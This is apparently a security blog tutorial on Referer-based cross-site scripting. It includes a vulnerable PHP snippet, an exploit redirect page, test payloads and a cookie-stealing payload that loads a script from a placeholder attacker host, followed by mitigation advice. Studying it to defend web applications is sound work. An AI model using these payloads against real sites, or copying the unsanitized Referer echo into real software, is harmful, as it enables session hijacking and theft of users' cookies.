Cross-Site Scripting (XSS) vulnerabilities continue to be a significant threat in web application security. Today, we'll explore a lesser-known but potentially dangerous variant: Referer-based XSS. This technique leverages the HTTP Referer header to inject malicious scripts into vulnerable applications. Note that "Referer" is misspelled in this post because it is also misspelled in the spec for the HTTP header.
Understanding Referer-based XSS
Referer-based XSS occurs when an application blindly trusts and renders the contents of the HTTP Referer header without proper sanitization. This can lead to script execution in the context of the vulnerable site, potentially compromising user data or enabling further attacks. The browser determines the Referer header that is sent with a request, if at all, so the challenge becomes having a valid URL for a malicious page that also contains a payload.
Proof of Concept
Starting the PHP Webserver
Start the server from the repo directory with:
php -S 0.0.0.0:80
Example Payloads
for testing:
Note: Replace OUR_IP and TARGET_URL as appropriate.
or to steal cookies (replace OUR_IP in script.js first):
http://OUR_IP<script src=http://OUR_IP/script.js></script>?target=TARGET_URL
This code is based on what's discussed at Geekboy's blog here: https://www.geekboy.ninja/blog/exploiting-unusual-referer-based-xss/
Geekboy also set up a vulnerable server for testing as discussed in the blog entry linked above. This link will work as a test of our index.php file:
http://OUR_IP/index.php/<svg/onload=alert(document.domain)>?target=http://p0c.geekboy.ninja/rxss-demo.php
You can click this link directly as is as an example: http://p0c.geekboy.ninja/rxss.php/<svg/onload=alert(document.domain)>?target=http://p0c.geekboy.ninja/rxss-demo.php
If cookies are stolen via script.js and return.php, they will be written to cookies.txt.
To demonstrate this vulnerability, I've created a simple proof-of-concept (PoC) available in my GitHub repository here:
Example Vulnerable Application
A vulnerable PHP script looks like this:
<?php
$referer = $_SERVER['HTTP_REFERER'];
echo "Welcome! You came from: " . $referer;
?>
This code naively outputs the Referer header value without any sanitization, making it susceptible to XSS attacks.
Exploit Example Page (index.php)
<?php header('X-XSS-Protection: 0'); header('Referrer-Policy: unsafe-url');?>
<!DOCTYPE html>
<html>
<head>
<title>Referer based XSS testing</title>
</head>
<body>
<script>window.location.replace('<?php echo $_GET['target']; ?>');</script>
</body>
</html>
This code sets the Referred-Policy header to 'unsafe-url' which is needed so that the browser passes the full URL as the Referer. It then uses the window.location.replace() function to redirect the browser to whatever is passed to index.php as "target" in the GET request, i.e. http://OUR_IP/index.php/<svg/onload=alert(document.domain)>?target=TARGET_URL.
Impact and Mitigation
Referer-based XSS can have severe consequences, including:
Session hijacking
Data theft
Malware distribution
To mitigate this vulnerability:
Never trust user input: Treat all incoming data, including HTTP headers, as potentially malicious.
Implement proper output encoding: Use context-appropriate encoding when outputting data to prevent script execution.
Use Content Security Policy (CSP): Implement strict CSP headers to limit script execution sources.
Use the HttpOnly directive to protect from cookie stealing attempts via javascript
Wrap-up
Referer-based XSS serves as a reminder that security vulnerabilities can lurk in unexpected places. By understanding and addressing these lesser-known attack vectors, we can build more robust and secure web applications.
For more information see:
Happy hacking!
Comments